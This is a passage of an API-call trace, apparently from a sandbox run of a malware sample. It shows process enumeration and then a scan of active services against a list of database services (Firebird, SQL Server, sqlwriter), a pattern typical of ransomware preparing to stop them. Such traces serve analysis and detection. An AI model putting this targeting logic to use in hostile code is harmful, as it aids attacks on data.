lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.826] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.826] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0165.826] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0165.827] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0165.827] lstrlenW (lpString="movers-indication.exe") returned 21 [0165.827] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0165.828] lstrlenW (lpString="drama tv thee.exe") returned 17 [0165.828] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0165.829] lstrlenW (lpString="barriers.exe") returned 12 [0165.829] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0165.830] lstrlenW (lpString="shootclick.exe") returned 14 [0165.830] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0165.830] lstrlenW (lpString="nickel.exe") returned 10 [0165.830] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0165.831] lstrlenW (lpString="imperialopened.exe") returned 18 [0165.831] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0165.832] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0165.832] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0165.833] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0165.833] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0165.834] lstrlenW (lpString="perhapssentences.exe") returned 20 [0165.834] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.835] lstrlenW (lpString="dllhost.exe") returned 11 [0165.835] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.836] lstrlenW (lpString="svchost.exe") returned 11 [0165.836] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0165.837] lstrlenW (lpString="chrome64b.exe") returned 13 [0165.837] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0165.837] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0165.837] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.838] lstrlenW (lpString="conhost.exe") returned 11 [0165.838] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0165.839] lstrlenW (lpString="cmd.exe") returned 7 [0165.839] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.840] lstrlenW (lpString="conhost.exe") returned 11 [0165.840] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.840] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.841] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0165.844] lstrlenW (lpString="mode.com") returned 8 [0165.844] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0165.844] CloseHandle (hObject=0x318) returned 1 [0165.844] Sleep (dwMilliseconds=0x1f4) [0166.369] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ceb18 [0166.369] EnumServicesStatusExW (in: hSCManager=0x7ceb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0166.369] GetLastError () returned 0xea [0166.369] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0166.369] EnumServicesStatusExW (in: hSCManager=0x7ceb18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0166.370] CloseServiceHandle (hSCObject=0x7ceb18) returned 1 [0166.370] lstrlenW (lpString="Appinfo") returned 7 [0166.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.370] lstrlenW (lpString="AppXSvc") returned 7 [0166.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0166.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0166.371] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.371] lstrlenW (lpString="Audiosrv") returned 8 [0166.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0166.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0166.371] lstrlenW (lpString="BFE") returned 3 [0166.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.371] lstrlenW (lpString="BITS") returned 4 [0166.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0166.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0166.371] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0166.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.371] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0166.371] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0166.372] lstrlenW (lpString="CDPSvc") returned 6 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0166.372] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0166.372] lstrlenW (lpString="ClickToRunSvc") returned 13 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0166.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0166.372] lstrlenW (lpString="ClipSVC") returned 7 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0166.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0166.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0166.372] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.372] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0166.372] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0166.372] lstrlenW (lpString="CryptSvc") returned 8 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.372] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.372] lstrlenW (lpString="DcomLaunch") returned 10 [0166.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.373] lstrlenW (lpString="DeviceAssociationService") returned 24 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0166.373] lstrlenW (lpString="Dhcp") returned 4 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.373] lstrlenW (lpString="Dnscache") returned 8 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.373] lstrlenW (lpString="DoSvc") returned 5 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0166.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0166.373] lstrlenW (lpString="DPS") returned 3 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.373] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.373] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.373] lstrlenW (lpString="DusmSvc") returned 7 [0166.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0166.374] lstrlenW (lpString="EventLog") returned 8 [0166.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0166.374] lstrlenW (lpString="EventSystem") returned 11 [0166.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.374] lstrlenW (lpString="FontCache") returned 9 [0166.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0166.374] lstrlenW (lpString="gpsvc") returned 5 [0166.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.374] lstrlenW (lpString="iphlpsvc") returned 8 [0166.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.374] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.374] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.375] lstrlenW (lpString="KeyIso") returned 6 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0166.375] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0166.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0166.375] lstrlenW (lpString="LanmanServer") returned 12 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.375] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.375] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.375] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.375] lstrlenW (lpString="lfsvc") returned 5 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0166.375] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0166.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0166.375] lstrlenW (lpString="LicenseManager") returned 14 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0166.375] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0166.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0166.375] lstrlenW (lpString="lmhosts") returned 7 [0166.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.375] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.376] lstrlenW (lpString="LSM") returned 3 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0166.376] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0166.376] lstrlenW (lpString="MpsSvc") returned 6 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.376] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.376] lstrlenW (lpString="NcbService") returned 10 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0166.376] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0166.376] lstrlenW (lpString="netprofm") returned 8 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.376] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.376] lstrlenW (lpString="NlaSvc") returned 6 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.376] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.376] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.376] lstrlenW (lpString="nsi") returned 3 [0166.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.377] lstrlenW (lpString="PcaSvc") returned 6 [0166.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.377] lstrlenW (lpString="PlugPlay") 